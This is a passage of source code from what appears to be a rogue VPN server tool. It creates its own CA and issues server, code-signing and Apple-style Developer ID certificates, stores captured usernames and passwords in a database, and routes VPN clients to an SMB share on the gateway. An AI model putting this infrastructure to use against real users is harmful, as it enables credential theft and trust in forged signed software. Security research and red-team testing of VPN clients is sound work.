x509.load_pem_x509_certificate(f.read(), default_backend())\n\n        der_cert = cert.public_bytes(serialization.Encoding.DER)\n        thumbprint_sha1 = hashlib.sha1(der_cert).hexdigest().upper()\n        thumbprint_md5 = hashlib.md5(der_cert).hexdigest().upper()\n\n        # allow overriding the thumbprint for fronting scenarios\n        thumbprint_sha1 = os.getenv('SERVER_SHA1_THUMBPRINT', thumbprint_sha1)\n        thumbprint_md5 = os.getenv('SERVER_MD5_THUMBPRINT', thumbprint_md5)\n\n        return {'sha1': thumbprint_sha1, 'md5': thumbprint_md5}\n\n    def generate_server_certificate(self, cert_path, key_path, common_name=\"*\", additional_ekus=[], additional_sans=[]):\n        \"\"\"Generate a server certificate\"\"\"\n        # Get CA cert\n        if not self.ca_cert or not self.ca_key:\n            self.load_ca_certificate()\n\n        # Generate server private key\n        cert_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=2048,\n            backend=default_backend()\n        )\n\n        # Build server certificate signed by CA\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name),\n        ])\n\n        # list of SANs\n        san_list = additional_sans\n\n        # list of EKUs\n        eku_list = [\n            ExtendedKeyUsageOID.SERVER_AUTH,\n            ExtendedKeyUsageOID.CLIENT_AUTH,\n        ] + additional_ekus\n\n        key_usage = x509.KeyUsage(\n            digital_signature=True,\n            key_encipherment=False,\n            content_commitment=False,\n            data_encipherment=False,\n            key_agreement=False,\n            encipher_only=False,\n            decipher_only=False,\n            key_cert_sign=False,\n            crl_sign=False\n        )\n\n        cert = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            self.ca_cert.subject\n        ).public_key(\n            cert_key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=365)\n        ).add_extension(\n            x509.SubjectAlternativeName(san_list),\n            critical=False,\n        ).add_extension(\n            x509.ExtendedKeyUsage(eku_list),\n            critical=True,\n        ).add_extension(\n            key_usage,\n            critical=True,\n        ).sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        # Convert certificate and key to PEM format\n        cert_pem = cert.public_bytes(serialization.Encoding.PEM)\n        key_pem = cert_key.private_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PrivateFormat.TraditionalOpenSSL,\n            encryption_algorithm=serialization.NoEncryption()\n        )\n\n        with open(cert_path, 'wb') as cert_file:\n            cert_file.write(cert_pem + self.ca_cert.public_bytes(serialization.Encoding.PEM))\n\n        with open(key_path, 'wb') as key_file:\n            key_file.write(key_pem)\n\n        return cert_path, key_path\n\n    def generate_ca_certificate(self):\n        self.ca_key_path = os.path.join(self.cert_dir, 'ca.key')\n        self.ca_cert_path = os.path.join(self.cert_dir, 'ca.crt')\n\n        # Check if CA cert already exists\n        if os.path.exists(self.ca_cert_path) and os.path.exists(self.ca_key_path):\n            logging.info(\"Loading existing CA certificate\")\n            with open(self.ca_cert_path, 'rb') as f:\n                self.ca_cert = x509.load_pem_x509_certificate(f.read(), default_backend())\n            with open(self.ca_key_path, 'rb') as f:\n                self.ca_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())\n            return self.ca_key_path, self.ca_cert_path\n\n        logging.info(\"Generating new CA certificate\")\n        # Generate CA private key\n        self.ca_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=2048,\n            backend=default_backend()\n        )\n\n        # Build CA certificate\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, self.ca_common_name),\n            #x509.NameAttribute(NameOID.ORGANIZATION_NAME, self.ca_common_name),\n        ])\n\n        self.ca_cert = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            subject\n        ).public_key(\n            self.ca_key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=3650)\n        ).add_extension(\n            x509.BasicConstraints(ca=True, path_length=None),\n            critical=True\n        ).add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(self.ca_key.public_key()),\n            critical=False\n        ).add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(self.ca_key.public_key()),\n            critical=False\n        ).sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        # Save CA cert and key\n        with open(self.ca_cert_path, 'wb') as f:\n            f.write(self.ca_cert.public_bytes(serialization.Encoding.PEM))\n\n        with open(self.ca_key_path, 'wb') as f:\n            f.write(self.ca_key.private_bytes(\n                encoding=serialization.Encoding.PEM,\n                format=serialization.PrivateFormat.TraditionalOpenSSL,\n                encryption_algorithm=serialization.NoEncryption()\n            ))\n\n        return self.ca_key_path, self.ca_cert_path\n\n    def generate_codesign_certificate(self, common_name, pfx_path=None, cert_path=None, key_path=None):\n        if not self.ca_cert or not self.ca_key:\n            self.load_ca_certificate()\n\n        if pfx_path is None:\n            pfx_path = os.path.join(self.cert_dir, 'codesign.pfx')\n        if cert_path is None:\n            cert_path = os.path.join(self.cert_dir, 'codesign.cer')\n        if key_path is None:\n            key_path = os.path.join(self.cert_dir, 'codesign.key')\n\n        if os.path.exists(cert_path) and os.path.exists(key_path) and \\\n            os.path.exists(pfx_path) and self.cert_is_valid(cert_path, common_name):\n            logging.info(f\"Loading existing codesigning certificate for: {common_name}\")\n            return pfx_path\n        else:\n            logging.info(f\"Generating new codesigning certificate for: {common_name}\")\n\n        # Generate a private key for the code signing certificate\n        codesign_private_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=2048,\n            backend=default_backend()\n        )\n\n        # Create the code signing certificate\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name)\n        ])\n\n        eku_list = [\n            ExtendedKeyUsageOID.CODE_SIGNING,\n        ]\n\n        key_usage = x509.KeyUsage(\n            digital_signature=True,\n            key_encipherment=False,\n            content_commitment=False,\n            data_encipherment=False,\n            key_agreement=False,\n            encipher_only=False,\n            decipher_only=False,\n            key_cert_sign=False,\n            crl_sign=False\n        )\n\n        builder = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            self.ca_cert.subject\n        ).public_key(\n            codesign_private_key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365)\n        ).add_extension(\n            x509.ExtendedKeyUsage(eku_list),\n            critical=True,\n        ).add_extension(\n            key_usage,\n            critical=True,\n        )\n\n        # Sign the certificate with the CA private key\n        codesign_certificate = builder.sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        # Save the new certificate to a file\n        with open(cert_path, 'wb') as f:\n            f.write(codesign_certificate.public_bytes(serialization.Encoding.PEM))\n\n        with open(key_path, 'wb') as f:\n            f.write(codesign_private_key.private_bytes(\n                encoding=serialization.Encoding.PEM,\n                format=serialization.PrivateFormat.TraditionalOpenSSL,\n                encryption_algorithm=serialization.NoEncryption()\n            ))\n\n        # Convert to pkcs12 and save to codesign.pfx\n        logging.info(f\"Saving codesigning certificate to {pfx_path}\")\n        with open(pfx_path, \"wb\") as f:\n            f.write(serialization.pkcs12.serialize_key_and_certificates(\n                b\"codesign\",\n                codesign_private_key,\n                codesign_certificate,\n                None,\n                serialization.NoEncryption()\n            ))\n\n        return pfx_path\n\n    def generate_apple_certificate(self, common_name=\"Developer ID Installer\", cert_path=None, key_path=None):\n        \"\"\"Generate an Apple code signing certificate\"\"\"\n        if cert_path is None:\n            cert_path = os.path.join(self.cert_dir, 'apple.cer')\n        if key_path is None:\n            key_path = os.path.join(self.cert_dir, 'apple.key')\n\n        # Generate a private key\n        apple_private_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=2048,\n            backend=default_backend()\n        )\n\n        # Create Apple signing certificate\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name)\n        ])\n\n        # list of EKUs\n        eku_list = [\n            ExtendedKeyUsageOID.CODE_SIGNING,\n            ObjectIdentifier(\"1.2.840.113635.100.6.1.14\"),  # Apple Developer ID Installer\n            ObjectIdentifier(\"1.2.840.113635.100.4.13\"),    # Apple Package Signing\n            ObjectIdentifier(\"1.2.840.113635.100.6.1.14\"),  # Apple Extension Signing\n        ]\n\n        key_usage = x509.KeyUsage(\n            digital_signature=True,\n            key_encipherment=False,\n            content_commitment=False,\n            data_encipherment=False,\n            key_agreement=False,\n            encipher_only=False,\n            decipher_only=False,\n            key_cert_sign=False,\n            crl_sign=False\n        )\n\n        builder = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            self.ca_cert.subject\n        ).public_key(\n            apple_private_key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=365)\n        ).add_extension(\n            x509.ExtendedKeyUsage(eku_list),\n            critical=True,\n        ).add_extension(\n            key_usage,\n            critical=True,\n        )\n\n        # Sign the certificate with the CA private key\n        apple_certificate = builder.sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        # Save the new certificate to a file\n        with open(cert_path, 'wb') as f:\n            f.write(apple_certificate.public_bytes(serialization.Encoding.PEM))\n\n        # Save the private key\n        with open(key_path, 'wb') as f:\n            f.write(apple_private_key.private_bytes(\n                encoding=serialization.Encoding.PEM,\n                format=serialization.PrivateFormat.TraditionalOpenSSL,\n                encryption_algorithm=serialization.NoEncryption()\n            ))\n\n        return cert_path, key_path\n"
  },
  {
    "path": "src/nachovpn/core/db_manager.py",
    "content": "from datetime import datetime\nimport sqlite3\nimport logging\nimport json\nimport threading\n\nclass DBManager:\n    def __init__(self, db_path='database.db'):\n        self.db_path = db_path\n        self.conn = None\n        self.lock = threading.Lock()\n        self.setup_database()\n\n    def setup_database(self):\n        \"\"\"Initialize the database connection and create tables if they don't exist.\"\"\"\n        try:\n            self.conn = sqlite3.connect(self.db_path, check_same_thread=False)\n            cursor = self.conn.cursor()\n\n            cursor.execute('''\n                CREATE TABLE IF NOT EXISTS credentials (\n                    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,\n                    username TEXT,\n                    password TEXT,\n                    other TEXT,\n                    plugin TEXT\n                )\n            ''')\n\n            self.conn.commit()\n            logging.info(f\"Database initialized successfully at {self.db_path}\")\n        except sqlite3.Error as e:\n            logging.error(f\"Database initialization error: {e}\")\n            raise\n\n    def log_credentials(self, username, password, plugin_name, other_data=None):\n        \"\"\"Log credentials using prepared statements.\"\"\"\n        try:\n            with self.lock:\n                cursor = self.conn.cursor()\n                cursor.execute(\n                    'INSERT INTO credentials (username, password, other, plugin) VALUES (?, ?, ?, ?)',\n                    (username, password, json.dumps(other_data) if other_data else None, plugin_name)\n                )\n                self.conn.commit()\n        except sqlite3.Error as e:\n            logging.error(f\"Error logging credentials: {e}\")\n\n    def close(self):\n        \"\"\"Close the database connection.\"\"\"\n        if self.conn:\n            with self.lock:\n                self.conn.close()\n"
  },
  {
    "path": "src/nachovpn/core/ip_manager.py",
    "content": "from __future__ import annotations\nimport ipaddress, itertools, threading, time, os\n\nLEASE_SECS = int(os.getenv(\"LEASE_SECS\", 5 * 60))\nVPN_SUBNET = \"10.10.0.0/16\"\n\nclass IPPool:\n    \"\"\"Round-robin allocator with lease/idle-timeout.\"\"\"\n    def __init__(self, cidr: str = VPN_SUBNET):\n        self.net  = ipaddress.ip_network(cidr)\n        self.host_iter = itertools.cycle(self.net.hosts())\n        self.lock = threading.Lock()\n        # ip_str -> last_seen_epoch\n        self.inuse: dict[str, float] = {}\n\n        # Reserve gateway\n        gw = str(next(self.host_iter))\n        self.inuse[gw] = float('inf')\n\n    def alloc(self) -> str:\n        now = time.time()\n        with self.lock:\n            for _ in range(self.net.num_addresses - 2):\n                cand = str(next(self.host_iter))\n                last = self.inuse.get(cand, 0)\n                if now - last > LEASE_SECS:\n                    self.inuse[cand] = now\n                    return cand\n            raise RuntimeError(\"Address pool exhausted\")\n\n    def touch(self, ip: str):\n        \"\"\"Call whenever we see traffic from ip to keep the lease alive.\"\"\"\n        with self.lock:\n            if ip in self.inuse:\n                self.inuse[ip] = time.time()\n\n    def release(self, ip: str):\n        with self.lock:\n            self.inuse.pop(ip, None)\n"
  },
  {
    "path": "src/nachovpn/core/packet_handler.py",
    "content": "from pyroute2 import AsyncIPRoute\nfrom dataclasses import dataclass, field\nfrom nachovpn.core.ip_manager import IPPool\nfrom scapy.layers.l2 import Ether\nfrom scapy.packet import Raw\nfrom scapy.utils import PcapWriter\n\nimport nftables\nimport asyncio\nimport os\nimport logging\nimport ipaddress\nimport socket\nimport time\nimport uuid\nimport struct\nimport fcntl\nimport threading\n\nTUNNEL_MTU = int(os.getenv(\"TUNNEL_MTU\", 1400))\nLEASE_SECS = int(os.getenv(\"LEASE_SECS\", 5 * 60))                       # 5 minutes\nLEASE_CLEANUP_INTERVAL = int(os.getenv(\"LEASE_CLEANUP_INTERVAL\", 60))   # 1 minute\nVPN_SUBNET = \"10.10.0.0/16\"\n\n# Tunnel forwarding control\nTUNNEL_PRIVATE = os.getenv(\"TUNNEL_PRIVATE\", \"false\").lower() == \"true\"\nTUNNEL_FULL = os.getenv(\"TUNNEL_FULL\", \"false\").lower() == \"true\"\nTUNNEL_ENABLED = (TUNNEL_PRIVATE or TUNNEL_FULL) and os.name != 'nt'\n\nIFF_NO_PI = 0x1000\nTUNSETIFF = 0x400454CA\nIFF_TUN   = 0x0001\n\n@dataclass\nclass ClientInfo:\n    \"\"\"Information about a connected client\"\"\"\n    sock: socket.socket\n    ip_address: str\n    connection_id: str\n    callback: callable\n    last_seen: float = field(default_factory=time.time)\n\nclass PacketHandler:\n    \"\"\"\n    TUN-based packet handler using nftables\n    \"\"\"\n    def __init__(self, write_pcap=False, pcap_filename=None):\n        \"\"\"Initialize packet handler\"\"\"\n        self.logger = logging.getLogger(__name__)\n        self.write_pcap = write_pcap\n        self.pcap_filename = pcap_filename\n        self._pcap_writer = None\n\n        self.logger.debug(f\"[TUN] PacketHandler instantiated in thread {threading.current_thread().name}\")\n\n        # Initialize pyroute2 and nftables\n        self._ipr = AsyncIPRoute()\n        self.nft = nftables.Nftables()\n\n        # TUN interface name\n        self.tun_name = \"nacho0\"\n\n        # Client management\n        self.clients = {}                   # ip_address -> ClientInfo\n        self.conn_to_ip = {}                # connection_id -> ip_address\n        self.ip_pool = IPPool(VPN_SUBNET)\n        self.client_lock = asyncio.Lock()\n        self.connection_states = {}         # connection_id -> bool (True if connection is alive)\n\n        # Packet queuing\n        self.packet_queues = {}             # connection_id -> asyncio.Queue\n        self.send_tasks = {}                # connection_id -> asyncio.Task\n\n        # Cache TUN file descriptor\n        self.tun_fd = None\n\n        # Background tasks\n        self._lease_cleanup_task = None\n        self._closed = False\n\n    def _setup_nftables(self):\n        \"\"\"Configure nftables rules\"\"\"\n        try:\n            # First try to flush and delete existing table\n            try:\n                self.nft.cmd('flush table inet vpn')\n                self.nft.cmd('delete table inet vpn')\n                self.logger.info(\"Flushed existing nftables rules\")\n            except Exception as e:\n                self.logger.warning(f\"Error flushing existing rules: {e}\")\n\n            # MSS clamp to TUNNEL_MTU\n            tcp_mss = TUNNEL_MTU\n\n            # Get the gateway IP (first host in the subnet)\n            subnet = ipaddress.ip_network(VPN_SUBNET)\n            gateway_ip = str(next(subnet.hosts()))\n\n            # Get addr / len from VPN_SUBNET\n            vpn_addr, vpn_len = VPN_SUBNET.split(\"/\")\n\n            # Log the tunnel forwarding configuration\n            self.logger.info(f\"Tunnel forwarding configuration: TUNNEL_PRIVATE={TUNNEL_PRIVATE}, TUNNEL_FULL={TUNNEL_FULL}\")\n\n            # Build nftables rules\n            rules = [\n                {\n                    \"add\": {\n                        \"table\": {\n                            \"family\": \"inet\",\n                            \"name\": \"vpn\"\n                        }\n                    }\n                },\n                {\n                    \"add\": {\n                        \"chain\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"name\": \"input\",\n                            \"type\": \"filter\",\n                            \"hook\": \"input\",\n                            \"prio\": 0,\n                            \"policy\": \"accept\"\n                        }\n                    }\n                },\n                {\n                    \"add\": {\n                        \"chain\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"name\": \"forward\",\n                            \"type\": \"filter\",\n                            \"hook\": \"forward\",\n                            \"prio\": 0,\n                            \"policy\": \"drop\"\n                        }\n                    }\n                },\n                {\n                    \"add\": {\n                        \"chain\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"name\": \"postroute\",\n                            \"type\": \"nat\",\n                            \"hook\": \"postrouting\",\n                            \"prio\": 100\n                        }\n                    }\n                },\n                {\n                    \"add\": {\n                        \"chain\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"name\": \"preroute\",\n                            \"type\": \"nat\",\n                            \"hook\": \"prerouting\",\n                            \"prio\": -100\n                        }\n                    }\n                },\n                # Allow TCP 445 to gateway IP from VPN subnet\n                {\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"input\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"meta\": {\"key\": \"iifname\"}}, \"op\": \"==\", \"right\": self.tun_name}},\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"saddr\"}}, \"op\": \"in\", \"right\": {\"prefix\": {\"addr\": vpn_addr, \"len\": int(vpn_len)}}}},\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"daddr\"}}, \"op\": \"==\", \"right\": gateway_ip}},\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"tcp\", \"field\": \"dport\"}}, \"op\": \"==\", \"right\": 445}},\n                                {\"accept\": None}\n                            ]\n                        }\n                    }\n                },\n                # Default drop for all other VPN interface traffic\n                {\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"input\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"meta\": {\"key\": \"iifname\"}}, \"op\": \"==\", \"right\": self.tun_name}},\n                                {\"drop\": None}\n                            ]\n                        }\n                    }\n                },\n                # Accept established/related\n                {\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"forward\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"ct\": {\"key\": \"state\"}}, \"op\": \"in\", \"right\": {\"set\": [\"established\", \"related\"]}}},\n                                {\"accept\": None}\n                            ]\n                        }\n                    }\n                },\n                # Drop traffic to the gateway IP\n                {\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"forward\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"daddr\"}}, \"op\": \"==\", \"right\": gateway_ip}},\n                                {\"drop\": None}\n                            ]\n                        }\n                    }\n                }\n            ]\n\n            # Add forwarding rules if TUNNEL_FULL is enabled\n            if TUNNEL_FULL:\n                self.logger.info(\"Adding internet forwarding rules - VPN clients can access the internet\")\n                # Drop traffic to private/LAN ranges\n                rules.append({\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"forward\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"daddr\"}}, \"op\": \"in\", \"right\": {\"set\": [\n                                    {\"prefix\": {\"addr\": \"10.0.0.0\", \"len\": 8}},\n                                    {\"prefix\": {\"addr\": \"127.0.0.0\", \"len\": 8}},\n                                    {\"prefix\": {\"addr\": \"169.254.169.254\", \"len\": 32}},\n                                    {\"prefix\": {\"addr\": \"172.16.0.0\", \"len\": 12}},\n                                    {\"prefix\": {\"addr\": \"192.168.0.0\", \"len\": 16}}\n                                ]}}},\n                                {\"drop\": None}\n                            ]\n                        }\n                    }\n                })\n                # Drop broadcast and multicast traffic\n                rules.append({\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"forward\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"daddr\"}}, \"op\": \"in\", \"right\": {\"set\": [\n                                    {\"prefix\": {\"addr\": \"224.0.0.0\", \"len\": 4}},\n                                    {\"prefix\": {\"addr\": \"255.255.255.255\", \"len\": 32}}\n                                ]}}},\n                                {\"drop\": None}\n                            ]\n                        }\n                    }\n                })\n                # Accept all other VPN client traffic to the internet\n                rules.append({\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"forward\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"meta\": {\"key\": \"iifname\"}}, \"op\": \"==\", \"right\": self.tun_name}},\n                                {\"accept\": None}\n                            ]\n                        }\n                    }\n                })\n                # Masquerade traffic from VPN subnet\n                rules.append({\n                    \"add\": {\n                        \"rule\": {\n                            \"family\": \"inet\",\n                            \"table\": \"vpn\",\n                            \"chain\": \"postroute\",\n                            \"expr\": [\n                                {\"match\": {\"left\": {\"payload\": {\"protocol\": \"ip\", \"field\": \"saddr\"}}, \"op\": \"in\", \"right\": {\"prefix\": {\"addr\": vpn_addr, \"len\": int(vpn_len)}}}},\n                                {\"match\": {\"left\": {\"meta\": {\"key\": \"oifname\"}}, \"op\": \"!=\", \"right\": self.tun_name}},\n                                {\"masquerade\": None}\n                            ]\n                        }\n                    }\n                })\n            else:\n                self.logger.info(\"Internet forwarding disabled - VPN clients can only access SMB share\")\n\n            cmd = {\"nftables\": rules}\n\n            # Apply nftables rules\n            rc, _, err = self.nft.json_cmd(cmd)\n            if rc:\n                raise RuntimeError(f\"Failed to apply nftables rules: {err}\")\n\n            self.logger.info(\"Configured nftables rules\")\n\n            # Check if IP forwarding is enabled\n            try:\n                with open('/proc/sys/net/ipv4/ip_forward', 'r') as f:\n                    ip_forward = f.read().strip()\n                if ip_forward != '1':\n                    self.logger.error(f\"IP forwarding is not enabled. Please enable it with: sudo sysctl -w net.ipv4.ip_forward=1\")\n                self.logger.info(\"IP forwarding is enabled\")\n            except FileNotFoundError:\n                self.logger.error(\"Cannot read IP forwarding status from /proc/sys/net/ipv4/ip_forward. Please ensure IP forwarding is enabled with: sudo sysctl -w net.ipv4.ip_forward=1\")\n\n            # Add MSS clamping rules\n            try:\n                self.nft.cmd(f'add rule inet vpn forward iifname {self.tun_name} ip saddr 10.10.0.0/16 tcp flags syn tcp option maxseg size set {tcp_mss}')\n                self.nft.cmd(f'add rule inet vpn forward oifname {self.tun_name} ip daddr 10.10.0.0/16 tcp flags syn tcp option maxseg size set {tcp_mss}')\n                self.logger.info(f\"Added TCP MSS clamping rules with MSS {tcp_mss}\")\n            except Exception as e:\n                self.logger.error(f\"Failed to add TCP MSS clamping rules: {e}\")\n                raise\n\n            # Verify rules were applied\n            try:\n                result = self.nft.cmd('list ruleset')\n                self.logger.debug(f\"Current nftables rules: {result}\")\n            except Exception as e:\n                self.logger.error(f\"Failed to list rules: {e}\")\n\n        except Exception as e:\n            self.logger.error(f\"Failed to configure nftables: {e}\")\n            raise\n\n    async def _setup_tun_interface(self):\n        \"\"\"Create and configure the TUN interface\"\"\"\n        try:\n            idx = await self._ipr.link_lookup(ifname=self.tun_name)\n            if idx:\n                self.logger.info(\"Removing existing interface %s\", self.tun_name)\n                await self._ipr.link(\"del\", index=idx[0])\n\n            # Create TUN interface\n            await self._ipr.link(\n                \"add\",\n                ifname=self.tun_name,\n                kind=\"tuntap\",\n                mode=\"tun\",\n                iflags=IFF_TUN | IFF_NO_PI\n            )\n\n            # Get interface info\n            idx = (await self._ipr.link_lookup(ifname=self.tun_name))[0]\n            info = await self._ipr.link(\"get\", index=idx)\n            self.logger.debug(f\"[TUN] Interface created with flags: {info[0]['flags']}\")\n\n            # Set MTU\n            await self._ipr.link(\"set\", index=idx, mtu=TUNNEL_MTU, state=\"up\")\n            self.logger.info(f\"[TUN] Set interface MTU to {TUNNEL_MTU} bytes\")\n\n            subnet = ipaddress.ip_network(VPN_SUBNET)\n            gateway_ip = str(next(subnet.hosts()))\n            await self._ipr.addr(\"add\", index=idx, address=gateway_ip,\n                        prefixlen=subnet.prefixlen)\n\n            self.logger.info(\"Created %s %s/%s\",\n                            self.tun_name, gateway_ip, subnet.prefixlen)\n\n            # Disable IPv6 on the nacho0 interface\n            ipv6_disable_path = f\"/proc/sys/net/ipv6/conf/{self.tun_name}/disable_ipv6\"\n            if os.path.exists(ipv6_disable_path):\n                try:\n                    with open(ipv6_disable_path, \"w\") as f:\n                        f.write(\"1\\n\")\n                    self.logger.info(f\"Disabled IPv6 on {self.tun_name}\")\n                except Exception as e:\n                    self.logger.warning(f\"Failed to disable IPv6 on {self.tun_name}: {e}\")\n\n        except Exception:\n            self.logger.exception(\"Failed to create TUN interface\")\n            raise\n\n    def _setup_tun_fd(self) -> None:\n        \"\"\"Open /dev/net/tun and bind it to the nacho0 interface.\"\"\"\n        try:\n            # Open the TUN character device\n            fd = os.open(\"/dev/net/tun\", os.O_RDWR | os.O_NONBLOCK)\n            self.logger.debug(f\"[TUN] Opened /dev/net/tun with fd={fd}\")\n\n            # Tell the kernel which interface this fd belongs to\n            ifr = struct.pack(\n                \"16sH\",\n                self.tun_name.encode(),\n                IFF_TUN | IFF_NO_PI\n            )\n            self.logger.debug(f\"[TUN] Setting interface flags: IFF_TUN={IFF_TUN}, IFF_NO_PI={IFF_NO_PI}\")\n            fcntl.ioctl(fd, TUNSETIFF, ifr)\n            self.logger.debug(f\"[TUN] Bound fd={fd} to interface {self.tun_name}\")\n\n            # Store and register with the event loop\n            self.tun_fd = fd\n            self._loop.add_reader(fd, self._on_tun_ready)\n            self.logger.debug(f\"[TUN] Registered fd={fd} with event loop\")\n\n        except Exception as e:\n            self.logger.error(f\"[TUN] Failed to open TUN file descriptor: {e}\")\n            raise\n\n    def _on_tun_ready(self):\n        \"\"\"Synchronous callback when TUN fd is ready for reading\"\"\"\n        try:\n            self.logger.debug(\"[TUN] _on_tun_ready called\")\n\n            # Read packet from TUN interface\n            packet_data = os.read(self.tun_fd, 65535)\n            if not packet_data:\n                self.logger.debug(\"[TUN] No data available\")\n                return\n\n            self.logger.debug(f\"[TUN] Raw packet data: {packet_data.hex()}\")\n\n            # Get IP version\n            version = packet_data[0] >> 4\n            if version != 4:\n                self.logger.debug(f\"[TUN] Ignoring non-IPv4 packet: version={version}, first_bytes={packet_data[:4].hex()}\")\n                return\n\n            # IPv4 packet\n            if len(packet_data) >= 20:\n                dest_ip = socket.inet_ntoa(packet_data[16:20])\n                src_ip = socket.inet_ntoa(packet_data[12:16])\n                self.logger.debug(f\"[TUN] IPv4 packet: src={src_ip} dst={dest_ip} len={len(packet_data)}\")\n                if dest_ip:\n                    self.logger.debug(f\"[TUN] Handling reply packet for dest_ip={dest_ip}, src_ip={src_ip}, len={len(packet_data)}\")\n                    self._loop.create_task(self._handle_reply_packet(packet_data, dest_ip))\n            else:\n                self.logger.warning(f\"[TUN] Packet too short for IPv4: len={len(packet_data)}\")\n        except BlockingIOError:\n            # No data available\n            pass\n        except Exception as e:\n            self.logger.error(f\"[TUN] Error reading from TUN interface: {e}\")\n\n    async def _lease_cleanup(self):\n        \"\"\"Periodically check for and reclaim expired client leases\"\"\"\n        while True:\n            await asyncio.sleep(LEASE_CLEANUP_INTERVAL)\n            try:\n                async with self.client_lock:\n                    now = time.time()\n                    # Find stale clients\n                    stale = [\n                        ip for ip, client in self.clients.items()\n                        if now - client.last_seen > LEASE_SECS\n                    ]\n                    # Reclaim them\n                    for ip in stale:\n                        await self._reclaim_client(ip)\n            except Exception as e:\n                self.logger.error(f\"Error in lease cleanup: {e}\")\n\n    async def _reclaim_client(self, ip_address):\n        \"\"\"Reclaim a client's resources\"\"\"\n        try:\n            client = self.clients.pop(ip_address, None)\n            if client:\n                # Remove connection mapping\n                self.conn_to_ip.pop(client.connection_id, None)\n\n                # Close the socket\n                try:\n                    if hasattr(client, 'sock'):\n                        client.sock.close()\n                except Exception:\n                    pass\n\n                # Release the IP\n                self.ip_pool.release(ip_address)\n                self.logger.info(f\"Reclaimed idle client {client.connection_id} with IP {ip_address}\")\n        except Exception as e:\n            self.logger.error(f\"Error reclaiming client {ip_address}: {e}\")\n\n    def _send_all_blocking(self, sock, data):\n        \"\"\"Send all bytes on a blocking socket.\"\"\"\n        try:\n            sock.setblocking(True)\n            sock.sendall(data)\n            return True\n        except Exception as e:\n            self.logger.error(f\"Error sending data (blocking): {e}\")\n            return False\n\n    async def _send_packets(self, connection_id, queue):\n        \"\"\"Background task to send packets from queue to client\"\"\"\n        try:\n            while True:\n                # Get next packet from queue\n                packet_data = await queue.get()\n                if packet_data is None:  # Shutdown signal\n                    break\n\n                # Get client info\n                ip_address = self.conn_to_ip.get(connection_id)\n                if not ip_address:\n                    self.logger.warning(f\"[TUN] No IP address found for connection_id {connection_id} in _send_packets\")\n                    continue\n\n                client = self.clients.get(ip_address)\n                if not client:\n                    self.logger.warning(f\"[TUN] No client found for IP {ip_address} in _send_packets\")\n                    continue\n\n                # Check if connection is still alive\n                if not self.connection_states.get(connection_id, False):\n                    self.logger.warning(f\"[TUN] Connection {connection_id} is no longer alive in 